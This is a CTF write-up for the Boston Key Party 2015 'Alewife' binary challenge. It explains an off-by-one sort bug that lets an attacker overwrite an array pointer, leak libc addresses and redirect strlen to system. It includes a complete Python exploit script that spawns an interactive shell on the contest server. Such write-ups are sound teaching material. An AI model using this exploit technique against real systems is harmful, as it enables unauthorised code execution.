[BKP 2015] Alewife – Binary 400 Writeup

I participated in Boston Key Party 2015. Here’s my writeup of Alewife, a moderate 400-point binary exploitation challenge.

This problem took a little while to reverse. Basically, it implements a variety of array operations on three kinds of arrays: string arrays, int arrays and mixed arrays (arrays whose elements can be either string or int). 32 instances of each type of array are preallocated in the BSS, each with capacity for 256 elements.

On the string and int arrays, it is possible to append elements, pop elements off the end, print the array, and sort the array. In order to create a string or int array, you have to first create a mixed array with only one type of data, then use the copy operation to copy the mixed array out into a new string or int array.

One major bug lies in the sorting routine. The same bug is in both the string and int sorting routines, but the int sorting routine is easier to exploit. Basically, the sort contains an off-by-one error and will include the element one past the end of the array in the sort. In each of the array objects, the QWORD immediately after the preallocated 256-element array is a pointer to the start of the array, so by including this QWORD in the sort, you can push an almost arbitrary element into this pointer position. This can be triggered simply by inserting 256 elements into any array (the maximum size permissible), then sorting the array.

Overwriting the array pointer enables almost arbitrary writes (by pointing that pointer somewhere interesting, like the PLT table, then triggering an array insertion). The catch is that the value used to overwrite the start of the array has to be bigger than the pointer itself. In my case, I used the address of the second word in the array (the element at index 1) — this has the effect of simply shifting the array over by one place. This places the array pointer at array index 255, which makes it possible to overwrite the array pointer with a truly arbitrary value via simple array insertion.

We can then point the array pointer at the PLT. Printing out the array lets us obtain useful libc addresses. Then we can just overwrite any PLT entry with an array insertion. We choose to overwrite the PLT entry for strlen with the address of system, then trigger an operation that involves a string entry (in our case, a previously-inserted string entry of "/bin/sh"). Voila: a shell, and shortly thereafter a flag.

Here’s the exploit script:

import sys
from socket import *
import ast

TARGET = ('alewife.bostonkey.party', 8888)

s = socket()
s.connect(TARGET)

def rd(*suffixes):
    out = ''
    while 1:
        x = s.recv(1)
        if not x:
            raise EOFError()
        sys.stdout.write(x)
        sys.stdout.flush()
        out += x

        for suffix in suffixes:
            if out.endswith(suffix):
                break
        else:
            continue
        break
    return out

def pr(x):
    s.send(x)
    print "<%s" % x

def seq(*cmds):
    for cmd in cmds:
        rd(': '); pr(str(cmd))

INTEGER = 2
STRING = 3

class union:
    def create(self):
        seq(1, 1)
        return int(rd('\n'))

    def op_insert_ints(self, i, vals):
        seq(1, 2, i, 1, len(vals), *vals)
        return int(rd('\n'))
    def op_insert_strs(self, i, vals):
        seq(1, 2, i, 2, len(vals), *vals)
        return int(rd('\n'))
    def op_pop(self, i):
        seq(1, 2, i, 4)
        return int(rd('\n'))
    def op_int_minuseq(self, i, a, b):
        seq(1, 2, i, 7, a, b)
        return int(rd('\n'))
    def op_int_pluseq(self, i, a, b):
        seq(1, 2, i, 8, a, b)
        return int(rd('\n'))
    def op_str_pluseq(self, i, a, b):
        seq(1, 2, i, 9, a, b)
        return int(rd('\n'))

    def delete(self, i):
        seq(1, 3, i)
        return int(rd('\n'))
    def print_(self, i):
        seq(1, 4, i)
        bit = rd('\n')
        if bit.startswith('['):
            out = bit + rd('\n]\n')
            res = rd('\n') # result code
            return out
        else:
            return bit
    def copyto(self, i, type):
        seq(1, 5, i, type)
        return int(rd('\n'))        
union = union()

class intarr:
    def delete(self, i):
        seq(2, 3, i)
        return int(rd('\n'))
    def print_(self, i):
        seq(2, 4, i)
        bit = rd('\n')
        if bit.startswith('['):
            out = bit + rd('\n]\n')
            res = rd('\n') # result code
            return out
        else:
            return bit

    def op_insert_ints(self, i, vals):
        seq(2, 2, i, 1, len(vals), *vals)
        return int(rd('\n'))
    def op_sort(self, i):
        seq(2, 2, i, 3)
        return int(rd('\n'))
    def op_pop(self, i):
        seq(2, 2, i, 4)
        return int(rd('\n'))
intarr = intarr()

class strarr:
    def delete(self, i):
        seq(3, 3, i)
        return int(rd('\n'))
    def print_(self, i):
        seq(3, 4, i)
        bit = rd('\n')
        if bit.startswith('['):
            out = bit + rd('\n]\n')
            res = rd('\n') # result code
            return out
        else:
            return bit

    def op_insert_strs(self, i, vals):
        seq(3, 2, i, 2, len(vals), *vals)
        return int(rd('\n'))
    def op_sort(self, i):
        seq(3, 2, i, 3)
        return int(rd('\n'))
    def op_pop(self, i):
        seq(3, 2, i, 4) 
        return int(rd('\n'))
strarr = strarr()

x1 = union.create()
# use sort bug to increment the array pointer by one
union.op_insert_ints(x1, [0x6831d0])
union.op_insert_ints(x1, range(2000, 2000+255))
y1 = union.copyto(x1, INTEGER)
intarr.op_sort(y1)
#intarr.print_(y1)

# prepare a string variable with our target stuff
x2 = union.create()
union.op_insert_strs(x2, ["/bin/sh -i", "blah"])

# arr[255] is now the array pointer, so we can overwrite it arbitrarily
intarr.op_pop(y1)
intarr.op_insert_ints(y1, [0x602DB8])
addrs = ast.literal_eval(intarr.print_(y1)) # leak PLT addresses pointing to libc

libc_puts = 0x000000000006fe30
libc_system = 0x0000000000046640

libc_base = addrs[0] - libc_puts

for i in xrange(256 - 2):
    intarr.op_pop(y1)
# corrupt strlen pointer
intarr.op_insert_ints(y1, [libc_base + libc_system])

# trigger system
seq(1, 2, x2, 9, 0, 1) #union.op_str_pluseq(x2, 0, 1)
while 1:
    rd('$ ')
    pr(raw_input()+'\n')